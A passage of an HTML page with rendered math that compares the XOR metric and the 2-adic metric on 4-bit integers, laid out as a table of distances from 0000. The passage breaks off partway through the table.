class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.6644em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span></span></span></span></span></span></span></span>.</p>

<div style="text-align: center; font-size: 50px;">⊕</div>

<p>Here are both metrics side by side for all 4-bit integers 0–15.
Let’s put them in order and watch the two clusterings diverge:</p>

<table>
  <thead>
    <tr>
      <th>number</th>
      <th><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>d</mi><mo>⊕</mo></msub></mrow><annotation encoding="application/x-tex">d_\oplus</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9028em;vertical-align:-0.2083em;"></span><span class="mord"><span class="mord mathnormal">d</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.2583em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mbin mtight">⊕</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2083em;"><span></span></span></span></span></span></span></span></span></span> from <code class="language-plaintext highlighter-rouge">0000</code></th>
      <th><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>d</mi><mn>2</mn></msub></mrow><annotation encoding="application/x-tex">d_2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8444em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">d</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> from <code class="language-plaintext highlighter-rouge">0000</code></th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">0000</code></td>
      <td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>0</mn></mrow><annotation encoding="application/x-tex">0</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span></td>
      <td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>0</mn></mrow><annotation encoding="application/x-tex">0</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">0001</code></td>
      <td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mn>0</mn></msup><mo>=</mo><mn>1</mn></mrow><annotation encoding="application/x-tex">2^0 = 1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span></td>
      <td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>1.000</mn><mo>=</mo><msup><mn>2</mn><mn>0</mn></msup></mrow><annotation encoding="application/x-tex">1.000 = 2^{0}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1.000</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">0</span></span></span></span></span></span></span></span></span></span></span></span></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">0010</code></td>
      <td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mn>1</mn></msup><mo>=</mo><mn>2</mn></mrow><annotation encoding="application/x-tex">2^1 = 2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">2</span></span></span></span></td>
      <td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>0.500</mn><mo>=</mo><msup><mn>2</mn><mrow><mo>−</mo><mn>1</mn></mrow></msup></mrow><annotation encoding="application/x-tex">0.500 = 2^{-1}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0.500</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mtight">1</span></span></span></span></span></span></span></span></span></span></span></span></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">0011</code></td>
      <td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mn>1</mn></msup><mo>=</mo><mn>2</mn></mrow><annotation encoding="application/x-tex">2^1 = 2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">2</span></span></span></span></td>
      <td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>1.000</mn><mo>=</mo><msup><mn>2</mn><mn>0</mn></msup></mrow><annotation encoding="application/x-tex">1.000 = 2^{0}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1.000</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">0</span></span></span></span></span></span></span></span></span></span></span></span></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">0100</code></td>
      <td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mn>2</mn></msup><mo>=</mo><mn>4</mn></mrow><annotation encoding="application/x-tex">2^2 = 4</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">4</span></span></span></span></td>
      <td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>0.250</mn><mo>=</mo><msup><mn>2</mn><mrow><mo>−</mo><mn>2</mn></mrow></msup></mrow><annotation encoding="application/x-tex">0.250 = 2^{-2}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0.250</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mtight">2</span></span></span></span></span></span></span></span></span></span></span></span></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">0101</code></td>
      <td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mn>2</mn></msup><mo>=</mo><mn>4</mn></mrow><annotation encoding="application/x-tex">2^2 = 4</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">4</span></span></span></span></td>
      <td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>1.000</mn><mo>=</mo><msup><mn>2</mn><mn>0</mn></msup></mrow><annotation encoding="application/x-tex">1.000 = 2^{0}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1.000</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">0</span></span></span></span></span></span></span></span></span></span></span></span></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">0110</code></td>
      <td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mn>2</mn></msup><mo>=</mo><mn>4</mn></mrow><annotation encoding="application/x-tex">2^2 = 4</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">4</span></span></span></span></td>
      <td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>0.500</mn><mo>=</mo><msup><mn>2</mn><mrow><mo>−</mo><mn>1</mn></mrow></msup></mrow><annotation encoding="application/x-tex">0.500 = 2^{-1}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0.500</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mtight">1</span></span></span></span></span></span></span></span></span></span></span></span></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">0111</code></td>
      <td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mn>2</mn></msup><mo>=</mo><mn>4</mn></mrow><annotation encoding="application/x-tex">2^2 = 4</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">4</span></span></span></span></td>
      <td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>1.000</mn><mo>=</mo><msup><mn>2</mn><mn>0</mn></msup></mrow><annotation encoding="application/x-tex">1.000 = 2^{0}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1.000</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">0</span></span></span></span></span></span></span></span></span></span></span></span></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">1000</code></td>
      <td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mn>3</mn></msup><mo>=</mo><mn>8</mn></mrow><annotation encoding="application/x-tex">2^3 = 8</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">3</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">8</span></span></span></span></td>
      <td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>0.125</mn><mo>=</mo><msup><mn>2</mn><mrow><mo>−</mo><mn>3</mn></mrow></msup></mrow><annotation encoding="application/x-tex">0.125 = 2^{-3}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0.125</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mtight">3</span></span></span></span></span></span></span></span></span></span></span></span></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">1001</code></td>
      <td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mn>3</mn></msup><mo>=</mo><mn>8</mn></mrow><annotation encoding="application/x-tex">2^3 = 8</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">3</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">8</span></span></span></span></td>
      <td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>1.000</mn><mo>=</mo><msup><mn>2</mn><mn>0</mn></msup></mrow><annotation encoding="application/x-tex">1.000 = 2^{0}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1.000</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">0</span></span></span></span></span></span></span></span></span></span></span></span></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">1010</code></td>
      <td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mn>3</mn></msup><mo>=</mo><mn>8</mn></mrow><annotation encoding="application/x-tex">2^3 = 8</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">3</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">8</span></span></span></span></td>
      <td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>0.500</mn><mo>=</mo><msup><mn>2</mn><mrow><mo>−</mo><mn>1</mn></mrow></msup></mrow><annotation encoding="application/x-tex">0.500 = 2^{-1}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0.500</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mtight">1</span></span></span></span></span></span></span></span></span></span></span></span></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">1011</code></td>
      <td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mn>3</mn></msup><mo>=</mo><mn>8</mn></mrow><annotation encoding="application/x-tex">2^3 = 8</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">3</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">8</span></span></span></span></td>
      <td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>1.000</mn><mo>=</mo><msup><mn>2</mn><mn>0</mn></msup></mrow><annotation encoding="application/x-tex">1.000 = 2^{0}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1.000</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">0</span></span></span></span></span></span></span></span></span></span></span></span></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">1100</code></td>
      <td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mn>3</mn></msup><mo>=</mo><mn>8</mn></mrow><annotation encoding="application/x-tex">2^3 = 8</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">3</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">8</span></span></span></span></td>
      <td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>0.250</mn><mo>=</mo><msup><mn>2</mn><mrow><mo>−</mo><mn>2</mn></mrow></msup></mrow><annotation encoding="application/x-tex">0.250 = 2^{-2}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0.250</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mtight">2</span></span></span></span></span></span></span></span></span></span></span></span></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">1101</code></td>
      <td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mn>3</mn></msup><mo>=</mo><mn>8</mn></mrow><annotation encoding="application/x-tex">2^3 = 8</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">3</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">8</span></span></span></span></td>
      <td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>1.000</mn><mo>=</mo><msup><mn>2</mn><mn>0</mn></msup></mrow><annotation encoding="application/x-tex">1.000 = 2^{0}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1.000</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">0</span></span></span></span></span></span></span></span></span></span></span></span></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">1110</code></td>
      <td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mn>3</mn></msup><mo>=</mo><mn>8</mn></mrow><annotation encoding="application/x-tex">2^3 = 8</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">3</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">8</span></span></span></span></td>
